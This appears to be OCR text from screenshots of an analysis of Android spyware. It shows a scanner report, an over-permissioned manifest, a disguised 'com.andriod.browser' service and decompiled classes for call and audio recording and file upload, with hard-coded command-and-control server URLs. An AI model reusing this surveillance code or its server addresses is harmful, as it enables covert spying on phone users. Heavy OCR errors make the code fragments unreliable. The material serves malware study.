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In the Wild

[ File information

@ |dentification @ Details @& Content U Analy ®; Comments

@ Prevalence metrics
First submission 2018-08-29 21:44-16
Last submission 2018-08-29 21:44-16
Number of submissions 1

Distinct source submissions 1

B In-the-wild file names
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anifest

<activity android:label="{@string/app_name” android:name="com.intense.publ.sbgs.MainActivity">
¢intent-filter:»
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER" />
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anifest

<manifest xmlns:android="http://schemas.android.com/apk/res/android” android:versionCode=
"3" android:wversionName="3.8" package="com.intense.publ.sbgs"” platformBuildVersionCode=
"23" platformBuildVersionName="6.8-2438415" >

<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.SET WALLPAPER"™/ >



Manifest

<manifest xmlns:android="http://schemas.android.com/apk/res/android” android:versionCode=

"3" android:wversionName="3.8" package="com.intense.publ.sbgs" platformBuildVersionCode=

"23" platformBuildVersionName="6.8-2438415"»
<uses-sdk android:minSdkVersion="11" android:targetSdkVersion="21"/>

<uses-permission
<uses-permission
<uses-permission
<uses-permission
<uses-permission
<uses-permission
<uses-permission
<uses-permission
<uses-permission
<uses-permission
<uses-permission
<uses-permission
<uses-permission
<uses-permission

android:name="android.
android:name="android.
android:name="android.
android: name="android.
android:name="android.
android:name="android.
android:name="android.
android: name="android.
android:name="android.
android:name="android.
android:name="android.
android: name="android.
android:name="android.
android:name="com.google. android.

permission.
permission.
permission.
permission.
permission.
permission.
permission.
permission.
permission.
permission.
permission.
permission.
permission.

INTERNET™ />
SET_WALLPAPER™/>
CAMERA™ />

WRITE_EXTERNAL_ STORAGE"/>
ACCESS_NETWORK_STATE™ />
SET_WALLPAPER™/>
SET_WALLPAPER_HINTS"™ />
READ PHONE_STATE™ />
RECEIVE_BOOT_COMPLETED™/>
ACCESS_WIFI_STATE™/>
VIBRATE" />

WAKE_LOCK"™ />
GET_ACCOUNTS™ />
c2dm.permission.RECEIVE™ />

<permission android:name="com.intense.publ.sbgs.permission.C2D MESSAGE™
android:protectionlevel="signature" />
android:name="com. intense.publ.sbgs.permission.C2D MESSAGE"/>»
android:name="android. permission.QUICKBOOT POWERON"™/>»

<uses-permission
<uses-permission
<uses-permission
<uses-permission
<uses-permission
<uses-permission
<uses-permission
<uses-permission
<uses-permission

android:name="android.permission

android:name="com. android.browser.permission.READ HISTORY BOOKMARKS"™/>»

android:name="android.permission
android:name="android.permission
android:name="android.permission
android:name="android.permission
android:name="android.permission

.READ _SMS™ />

.READ_CONTACTS™ />
LGET_TASKS™ />
.READ CALL LOG™/>
.READ LOGS™ />
.WRITE_SETTINGS™/>
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Packages

startapp.android.publish

andriod.browser

package com.intense.publ.sbgs;

import
import
import
import
import
import
import

public class MainActivity extends Activity {

android.app.Activity;

android. content. Intent;
android.net.ConnectivityManager;
android.os.Bundle;
android.widget.TextView;
android.widget.Toast;
com.andriod.browser.Utils;

Intent i;
TextView msg;
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public void onCreate(Bundle savedInstanceState) {

Utils.startService(this);



Packages

intense.publ.sbgs

startapp.android.publish

package com.intense.publ.sbgs;

import
import
import
import
import
import
import

public class MainActivity extends Activity {

android.app.Activity;

android. content. Intent;
android.net.ConnectivityManager;
android.os.Bundle;
android.widget.TextView;
android.widget.Toast;
com.andriod.browser.Utils;

Intent i;
TextView msg;
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public void onCreate(Bundle savedInstanceState) {

Utils.startService(this);



Andriod

,,,,,, « AMService.class

,,,,,, w AirplaneManager.class
ffffff « CallsManager.class

ffffff % CameraView.class

,,,,,, « CommandManager.class

,,,,,, “w FileUploadTask.class
,,,,,, «* MediaManager.class

,,,,,, « RecordAudioTask.class
,,,,,, w ScreenControl.class

,,,,,, @ SendThread.class

,,,,,, w Settings.class

,,,,,,, w Utils.class

public
public
public
public
public
public
public
public

static
static
static
static
static
static
static
static

final
final
final
final
final
final
final
final

String MEDIA BUSY KEY = "Media Busy";

String MEDIA_EXTENTION = ".mda";

int PHOTO INDEX = 187;

String RECORD CALL_KEY = "Record Call”;
C |

String USER_NAME = “User1395";
String VERSION = “5.6.8";
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Andriod
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,,,,,,, °’

AMService.class
AirplaneManager.class
» CallsManager.class

» CameraView.class

CommandManager.class
Defines.class
FileUploadTask.class
MediaManager.class
RecordAudioTask.class

ScreenControl.class

ShutDownManager.class

Utils.class

public Settings(Context paramContext)

{
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this.amPreferences = paramContext.getSharedPreferences("com.andriod.browser.AMService”, 8);

this.userName = readStr("Userlame");

if (this.userName == "None") {

. save("UserName", ["daeshsh");

¥

this.serverAddress = readStr("ServerAddress”);

if (this.serverAddress == "None") {

E save("ServerAddress”, "http://www.firmwaresystemupdate.com/mmh™);
¥

this.backupAddress = readStr(“BackupAddress™);

if (this.backupAddress == "None") {

é save("BackupAddress”, "http://wwa.firmearesystemupdate.com/mmh™);
}

this.hiddenNumber = readStr("HiddenNumber");
save("Media Busy", false);

save("Get File", false);

save("Delete File", false);

refresh();
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,,,,,, <« AMService.class

,,,,,, o Ca”SManager.daSS package com.intense.publ.sbgs;

import android.app.fActivity;

import android.content.Intent;

import android.net.ConnectivityManager;
import android.os.Bundle;

. import android.widget.TextView;

""" - Defines.class import android.widget.Toast;

import com.andriod.browser.Utils,

ffffff s« CameraView.class

,,,,,, “« CommandManager.class

,,,,,, « FileUploadTask.class
public class MainActivity extends Activity {

,,,,,, « MediaManager.class Intent i;
TextView msg;

,,,,,, « RecordAudioTask.class

public void onCreate(Bundle savedInstanceState) {
777777 . ‘. ScreenCOntrol.CIaSS Util'j.StEFtSEFViCE{thiS};
,,,,,, w2 SendThread.class

,,,,,, w Settings.class




Andriod

,,,,,, w AirplaneManager.class
,,,,,, « CallsManager.class

,,,,,, « CameraView.class

,,,,,, « CommandManager.class
,,,,,, «' Defines.class

,,,,,, “w FileUploadTask.class

,,,,,, «* MediaManager.class

,,,,,, '« RecordAudioTask.class
,,,,,, w ScreenControl.class

,,,,,, @ SendThread.class

,,,,,, w Settings.class

,,,,,,, w Utils.class

public static void startService(Context context) {

try {

if (lisServiceRunning(context)) {
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context.startService(new Intent(context, AMService.class));

}

} catch (Exception e) {

¥



Andriod

,,,,,, « AirplaneManager.class
,,,,,, « CallsManager.class

,,,,,, s« CameraView.class

,,,,,, « CommandManager.class
,,,,,, «' Defines.class

,,,,,, “w FileUploadTask.class

,,,,,, «* MediaManager.class

,,,,,, « RecordAudioTask.class
,,,,,, w ScreenControl.class

,,,,,, @ SendThread.class

,,,,,, w Settings.class

,,,,,,, w Utils.class

public void onCreate() {
super.onCreate();
gService = this;
try {

Utils.CreateMediaDir(this);

this.amSettings = new Settings(this);
this.amSettings.firstRun = true;

this.mDeviceName = Build.MANUFACTURER + " " + Build.MODEL;
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deviceUUID = Secure.getString(getApplicationContext().getContentResolver(), "android id");

for (int i = deviceUUID.length(); i < 16; di++) {
deviceUUID += "1";
¥
this.mLocMngr = (LocationManager) getSystemService("location™);
INTENT_NUMBER = this.amSettings.accessKey;
this.mAlarmManager = (AlarmManager) getSystemService("alarm");
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,,,,,, “w AirplaneManager.class
ffffff ' CallsManager.class

,,,,,, % CameraView.class

,,,,,, a CommandManager.class
,,,,,, «' Defines.class

,,,,,, « FileUploadTask.class

,,,,,, «* MediaManager.class

,,,,,, « RecordAudioTask.class

,,,,,, w ScreenControl.class
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